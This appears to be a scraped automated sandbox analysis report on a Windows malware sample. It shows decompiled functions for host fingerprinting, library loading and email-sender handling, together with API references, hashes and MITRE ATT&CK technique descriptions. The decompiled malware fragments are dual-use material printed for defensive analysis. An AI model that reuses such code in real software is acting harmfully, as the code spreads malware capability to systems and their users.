Part of subcall function 004030FA: GetTickCount.KERNEL32 ref: 00403103
Part of subcall function 004030FA: InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

GetCurrentThreadId.KERNEL32 ref: 00403929
GetCurrentThreadId.KERNEL32 ref: 00403939

Strings

%FROM_EMAIL, xrefs: 00403913

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CurrentThread$CountExchangeInterlockedTick
String ID: %FROM_EMAIL
API String ID: 3716169038-2903620461
Opcode ID: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction ID: b7f4056d5a805f6dc72f55654bcd4db07a73235d6c8b9c95532e416c15eafef7
Opcode Fuzzy Hash: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction Fuzzy Hash: 7B113DB5900214EFD720DF16D581A5DF7F8FB05716F11856EE844A7291C7B8AB80CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 02F07086, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 02F070A5
LookupAccountNameW.ADVAPI32(00000000,?,?,00000104,?,?,?), ref: 02F070DD

Strings

|, xrefs: 02F070CF

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: Name$AccountLookupUser
String ID: |
API String ID: 2370142434-2343686810
Opcode ID: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction ID: ff5cba1a43b6308e3fd35d979256cf0acb16ca510a2bfd0352eb62bc939dffc2
Opcode Fuzzy Hash: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction Fuzzy Hash: BD11EF72904118EBDB12EBD5CC84ADEB7BCAB04745F1441A6D601E61D4D7B0BB48DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00401B71, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401B71() {
				long _v8;
				long _v12;
				void* _v27;
				char _v28;
				signed int _t12;
				signed int _t28;

				_v28 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_v8 = 0;
				asm("stosb");
				_v12 = 0xf;
				_t12 = E00401AC3();
				GetComputerNameA( &_v28,  &_v12);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0);
				_t28 = (_v28 ^ _v8 ^ _t12) & 0x7fffffff;
				_v8 = _t28;
				if(_t28 == 0) {
					return E0040ECA5() & 0x7fffffff;
				}
				return _t28;
			}

0x00401b7e
0x00401b84
0x00401b85
0x00401b86
0x00401b87
0x00401b89
0x00401b8c
0x00401b8d
0x00401b94
0x00401ba3
0x00401bb8
0x00401bc8
0x00401bca
0x00401bcd
0x00000000
0x00401bd8
0x00000000

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32(?,0000000F), ref: 00401BA3
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00401EFD,00000000,00000000,00000000,00000000), ref: 00401BB8

Strings

localcfg, xrefs: 00401B7B

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: localcfg
API String ID: 2777991786-1857712256
Opcode ID: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction ID: 3328142983dde5627d9ce9a8d7cd594e0c2b91da8c15a082e229c164244e8f4a
Opcode Fuzzy Hash: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction Fuzzy Hash: BE018BB2D0010CBFEB009BE9CC819EFFABCAB48754F150072A601F3190E6746E084AA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040AB81, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
stringCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040AB81(intOrPtr _a4, intOrPtr _a8, char _a12, CHAR* _a16, char _a20) {
				void* _t15;
				long _t17;
				signed int _t29;
				long* _t31;

				_t29 = 0;
				if(_a8 > 0) {
					do {
						_t31 = _a4 + _t29 * 4;
						_t17 =  *_t31;
						if( *((char*)(_t17 + 0x10)) == 1 &&  *((char*)(_t17 + 0x12)) == 0) {
							 *((char*)(_t17 + 0x11)) = _a20;
							lstrcpynA( *_t31 + 0x12, _a16, 0x3e);
							 *((char*)( *_t31 + 0x4f)) = 0;
							 *((char*)( *_t31 + 0x10)) = _a12;
							if( *((char*)( *_t31 + 0x10)) != 2) {
								_push(0x413640);
							} else {
								_push(0x41363c);
							}
							_t17 = InterlockedIncrement();
						}
						_t29 = _t29 + 1;
					} while (_t29 < _a8);
					return _t17;
				}
				return _t15;
			}

0x0040ab85
0x0040ab8a
0x0040ab94
0x0040ab97
0x0040ab9a
0x0040aba0
0x0040abab
0x0040abb9
0x0040abc4
0x0040abca
0x0040abd3
0x0040abdc
0x0040abd5
0x0040abd5
0x0040abd5
0x0040abe1
0x0040abe1
0x0040abe3
0x0040abe4
0x00000000
0x0040abea
0x0040abed

APIs

lstrcpynA.KERNEL32(?,?,0000003E,?,%FROM_EMAIL,00000000,?,0040BD6F,?,?,0000000B,no locks and using MX is disabled,000000FF), ref: 0040ABB9
InterlockedIncrement.KERNEL32(00413640), ref: 0040ABE1

Strings

%FROM_EMAIL, xrefs: 0040AB8C

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: IncrementInterlockedlstrcpyn
String ID: %FROM_EMAIL
API String ID: 224340156-2903620461
Opcode ID: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction ID: 7c747491fd5973eaabf4003e0d871bd0eed893c7530145efd7f06e2bf3dfd35d
Opcode Fuzzy Hash: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction Fuzzy Hash: D3019231508384AFDB21CF18D881F967FA5AF15314F1444A6F6805B393C3B9E995CB96

Uniqueness

Uniqueness Score: -1.00%

Function 004026B2, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37networkCOMMON

Download Yara Rule

APIs

gethostbyaddr.WS2_32(00000000,00000004,00000002), ref: 004026C3
inet_ntoa.WS2_32(?), ref: 004026E4

Strings

localcfg, xrefs: 004026CD, 004026D2, 004026DE

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: gethostbyaddrinet_ntoa
String ID: localcfg
API String ID: 2112563974-1857712256
Opcode ID: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction ID: d2c247fa2f64166219b22d1ecfca1b9a377bc480b126e4bf322f1ec8134a793b
Opcode Fuzzy Hash: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction Fuzzy Hash: 81F082321482097BEF006FA1ED09A9A379CEF09354F108876FA08EA0D0DBB5D950979C

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAE4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EAE4(CHAR* _a4) {
				struct HINSTANCE__* _t2;

				_t2 =  *0x4136f4;
				if(_t2 != 0) {
					L3:
					return GetProcAddress(_t2, _a4);
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x4136f4 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x0040eae4
0x0040eaeb
0x0040eb02
0x0040eb0d
0x0040eaed
0x0040eaf2
0x0040eaf8
0x0040eaff
0x00000000
0x0040eb01
0x0040eb01
0x0040eb01
0x0040eaff

APIs

LoadLibraryA.KERNEL32(ntdll.dll,0040EB54,_alldiv,0040F0B7,80000001,00000000,00989680,00000000,?,?,?,0040E342,00000000,75D6F210,80000001,00000000), ref: 0040EAF2
GetProcAddress.KERNEL32(?,00000000), ref: 0040EB07

Strings

ntdll.dll, xrefs: 0040EAED

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: ntdll.dll
API String ID: 2574300362-2227199552
Opcode ID: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction ID: 7b5812d5d2c037db56fb7cc720bc5ad28be2e092f3141d28ea6626f847aa1f88
Opcode Fuzzy Hash: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction Fuzzy Hash: D0D0C934600302ABCF22CF65AE1EA867AACAB54702B40C436B406E1670E778E994DA0C

Uniqueness

Uniqueness Score: -1.00%

Function 02F03172, Relevance: 5.2, APIs: 4, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02F02F71: GetModuleHandleA.KERNEL32(?), ref: 02F02F8A
Part of subcall function 02F02F71: LoadLibraryA.KERNEL32(?), ref: 02F02F9A

GetProcessHeap.KERNEL32(00000000,00000000), ref: 02F031C3
HeapFree.KERNEL32(00000000), ref: 02F031CA

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: Heap$FreeHandleLibraryLoadModuleProcess
String ID:
API String ID: 1017166417-0
Opcode ID: 6d22c46e4b2bbf8f956e586da185c112e243b929c4a2d348202b24ffe9e68596
Instruction ID: 6766f38cbced1b234952c3b10e66c1cc782e9848a715571976588313a8989384
Opcode Fuzzy Hash: 6d22c46e4b2bbf8f956e586da185c112e243b929c4a2d348202b24ffe9e68596
Instruction Fuzzy Hash: CE51BE3190024AAFCF019F64DC88AFAB7B5FF09344B1485A9ED96C7250E7729A19DB80

Uniqueness

Uniqueness Score: -1.00%

Function 00402F22, Relevance: 5.2, APIs: 4, Instructions: 157
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402F22(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				signed int _v8;
				void* _v12;
				char _v368;
				void* _t64;
				signed short* _t66;
				intOrPtr* _t67;
				intOrPtr* _t72;
				intOrPtr* _t76;
				intOrPtr* _t82;
				short _t86;
				intOrPtr* _t87;
				signed int _t94;
				intOrPtr _t96;
				signed int _t99;
				short* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				intOrPtr _t109;
				intOrPtr _t110;
				intOrPtr _t111;
				intOrPtr _t114;
				void* _t115;
				intOrPtr* _t116;
				void* _t117;
				signed int _t118;
				void* _t121;
				void* _t122;
				void* _t123;
				void* _t124;

				_t116 = _a12;
				_t94 = 0;
				 *_t116 = 0;
				_t117 = E00402D21(_a4);
				if(_t117 != 0) {
					if( *_t117 != 0) {
						_v12 = _t117;
						_a12 = _a8;
						while(_t94 < 5) {
							_t9 = _t117 + 8; // 0x8
							_t104 = _t9;
							_t82 = _t9;
							_t10 = _t82 + 1; // 0x9
							_v8 = _t10;
							do {
								_t114 =  *_t82;
								_t82 = _t82 + 1;
							} while (_t114 != 0);
							E0040EE08(_a12, _t104, _t82 - _v8 + 1);
							_t86 =  *((intOrPtr*)(_t117 + 4));
							_a12 = _a12 + 0x100;
							_t122 = _t122 + 0xc;
							 *_t116 =  *_t116 + 1;
							_t117 =  *_t117;
							 *((short*)(_t121 + _t94 * 2 - 0x6c)) = _t86;
							_t94 = _t94 + 1;
							if(_t117 != 0) {
								continue;
							}
							break;
						}
						HeapFree(GetProcessHeap(), 0, _v12);
						_v8 = _v8 & 0x00000000;
						if( *_t116 == 1) {
							L24:
							return 1;
						}
						_t64 =  *_t116 - 1;
						_a12 = _a8;
						do {
							_t118 = _v8;
							_t99 = _t118;
							if(_t118 >=  *_t116 - 1) {
								L17:
								_t66 = _t121 + _v8 * 2 - 0x6c;
								_t100 = _t121 + _t118 * 2 - 0x6c;
								 *_t66 =  *_t100;
								_t67 = _a12;
								 *_t100 =  *_t66 & 0x0000ffff;
								_t101 = _t67 + 1;
								do {
									_t109 =  *_t67;
									_t67 = _t67 + 1;
								} while (_t109 != 0);
								E0040EE08( &_v368, _a12, _t67 - _t101 + 1);
								_t123 = _t122 + 0xc;
								_t120 = (_t118 << 8) + _a8;
								_t72 = (_t118 << 8) + _a8;
								_t102 = _t72 + 1;
								do {
									_t110 =  *_t72;
									_t72 = _t72 + 1;
								} while (_t110 != 0);
								E0040EE08(_a12, _t120, _t72 - _t102 + 1);
								_t76 =  &_v368;
								_t124 = _t123 + 0xc;
								_t103 = _t76 + 1;
								do {
									_t111 =  *_t76;
									_t76 = _t76 + 1;
								} while (_t111 != 0);
								goto L23;
							} else {
								goto L14;
							}
							do {
								L14:
								if( *((intOrPtr*)(_t121 + _t99 * 2 - 0x6a)) <  *((intOrPtr*)(_t121 + _t99 * 2 - 0x6c))) {
									_t32 = _t99 + 1; // 0x1
									_t118 = _t32;
								}
								_t99 = _t99 + 1;
							} while (_t99 < _t64);
							goto L17;
							L23:
							E0040EE08(_t120,  &_v368, _t76 - _t103 + 1);
							_a12 = _a12 + 0x100;
							_t122 = _t124 + 0xc;
							_v8 = _v8 + 1;
							_t64 =  *_t116 - 1;
						} while (_v8 < _t64);
						goto L24;
					}
					_t3 = _t117 + 8; // 0x8
					_t105 = _t3;
					_t87 = _t3;
					_t4 = _t87 + 1; // 0x9
					_t115 = _t4;
					do {
						_t96 =  *_t87;
						_t87 = _t87 + 1;
					} while (_t96 != 0);
					E0040EE08(_a8, _t105, _t87 - _t115 + 1);
					 *_t116 =  *_t116 + 1;
					HeapFree(GetProcessHeap(), 0, _t117);
					goto L24;
				}
				return 0;
			}

0x00402f2e
0x00402f34
0x00402f36
0x00402f3d
0x00402f42
0x00402f4d
0x00402f88
0x00402f8b
0x00402f8e
0x00402f93
0x00402f93
0x00402f96
0x00402f98
0x00402f9b
0x00402f9e
0x00402f9e
0x00402fa0
0x00402fa1
0x00402fae
0x00402fb3
0x00402fb7
0x00402fbe
0x00402fc1
0x00402fc3
0x00402fc5
0x00402fca
0x00402fcd
0x00000000
0x00000000
0x00000000
0x00402fcd
0x00402fdb
0x00402fe3
0x00402fe8
0x004030ad
0x00000000
0x004030af
0x00402ff3
0x00402ff4
0x00402ff7
0x00402ff9
0x00402ffd
0x00403001
0x00403017
0x0040301a
0x00403021
0x00403028
0x0040302b
0x0040302e
0x00403031
0x00403034
0x00403034
0x00403036
0x00403037
0x00403049
0x00403051
0x00403054
0x00403057
0x00403059
0x0040305c
0x0040305c
0x0040305e
0x0040305f
0x0040306b
0x00403070
0x00403076
0x00403079
0x0040307c
0x0040307c
0x0040307e
0x0040307f
0x00000000
0x00000000
0x00000000
0x00000000
0x00403003
0x00403003
0x0040300d
0x0040300f
0x0040300f
0x0040300f
0x00403012
0x00403013
0x00000000
0x00403083
0x0040308f
0x00403094
0x0040309d
0x004030a0
0x004030a3
0x004030a4
0x00000000
0x00402ff7
0x00402f4f
0x00402f4f
0x00402f52
0x00402f54
0x00402f54
0x00402f57
0x00402f57
0x00402f59
0x00402f5a
0x00402f66
0x00402f6e
0x00402f7a
0x00000000
0x00402f7a
0x00000000

APIs

Part of subcall function 00402D21: GetModuleHandleA.KERNEL32(00000000,74B5EA30,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
Part of subcall function 00402D21: LoadLibraryA.KERNEL32(?), ref: 00402D4A

GetProcessHeap.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402F73
HeapFree.KERNEL32(00000000), ref: 00402F7A

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$FreeHandleLibraryLoadModuleProcess
String ID:
API String ID: 1017166417-0
Opcode ID: 17a9aa356eb7964f79448f848511744e029a14576c0ff14f59890d2228000c73
Instruction ID: 68d3b74a61d8da24685d2c7d21854d87d7e5c343c8b3ec1e3967b08f84d9f298
Opcode Fuzzy Hash: 17a9aa356eb7964f79448f848511744e029a14576c0ff14f59890d2228000c73
Instruction Fuzzy Hash: C251E23190020A9FCF01DF64D8889FABB79FF15304F10457AEC95E7290E7769A19CB88

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report t7p1ekMto0.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
